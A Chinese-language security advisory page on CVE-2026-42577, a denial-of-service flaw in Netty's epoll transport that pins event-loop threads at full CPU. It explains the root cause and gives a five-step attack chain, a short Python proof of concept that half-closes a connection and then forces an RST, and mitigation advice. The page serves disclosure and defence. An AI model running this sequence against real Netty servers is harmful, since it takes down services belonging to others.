IPBUF安全漏洞报告
English
CVE-2026-42577 CVSS 7.5 高危

CVE-2026-42577 Netty epoll传输DoS漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2026-42577
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Netty

相关标签

Netty拒绝服务DoSEpollCPU耗尽TCP RST

漏洞概述

Netty框架在4.2.0.Final至4.2.13.Final版本中存在拒绝服务漏洞。当Epoll传输处理处于半关闭状态且收到RST包的TCP连接时,无法正确检测并关闭连接。这导致通道资源无法被清理,且事件循环线程CPU占用率飙升至100%,进而导致服务瘫痪。

技术细节

该漏洞根因为Netty Epoll传输组件对TCP连接状态转换处理的逻辑错误。当TCP连接处于半关闭状态(即一方已发送FIN并等待对方关闭)时,若后续接收到RST(复位)包,Netty的Epoll实现未能正确识别并清理该连接资源。这导致Socket文件描述符泄漏,且事件循环线程在处理此类异常描述符时,因未能正确跳出循环而陷入100% CPU占用的忙循环状态。攻击者无需认证,只需通过网络发送特制的TCP序列(先半关闭连接再发送RST)即可触发,随着受影响连接数增加,服务器CPU资源将被耗尽。

攻击链分析

STEP 1
1. 扫描与识别
攻击者识别互联网上使用Netty框架且开启Epoll传输的服务。
STEP 2
2. 建立连接
攻击者向目标服务器发起TCP连接,并发送初始应用层数据。
STEP 3
3. 构造异常状态
攻击者调用shutdown(SHUT_WR)发送FIN包,使连接进入半关闭状态。
STEP 4
4. 发送RST包
攻击者利用Socket选项(如SO_LINGER超时为0)强制发送RST包复位连接。
STEP 5
5. 触发资源耗尽
Netty未能处理此状态序列,导致EventLoop线程进入死循环,CPU占用率达100%。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket import struct # Target IP and Port TARGET_HOST = '127.0.0.1' TARGET_PORT = 8080 def exploit(): try: # 1. Establish TCP connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_HOST, TARGET_PORT)) # 2. Send data to simulate activity s.send(b"GET / HTTP/1.1\r\nHost: " + TARGET_HOST.encode() + b"\r\n\r\n") # 3. Half-close the connection (Send FIN) # This puts the socket in FIN-WAIT-2 or CLOSE-WAIT state depending on side s.shutdown(socket.SHUT_WR) # 4. Force send RST packet # Set SO_LINGER with l_onoff=1 and l_linger=0 to send RST on close linger_payload = struct.pack('ii', 1, 0) s.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, linger_payload) # 5. Close socket, triggering RST s.close() print(f"[+] Sent malicious packet sequence to {TARGET_HOST}:{TARGET_PORT}") print("[+] If vulnerable, the server CPU should spike.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit()

影响范围

Netty 4.2.0.Final - 4.2.13.Final

防御指南

临时缓解措施
建议用户尽快升级至修复版本。若无法立即升级,可在应用启动参数中设置-Dio.netty.transport.noNative=true,强制使用JDK NIO传输,从而绕过Epoll传输层的该逻辑漏洞。同时,在系统层面监控CPU使用率,对异常连接进行限流。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表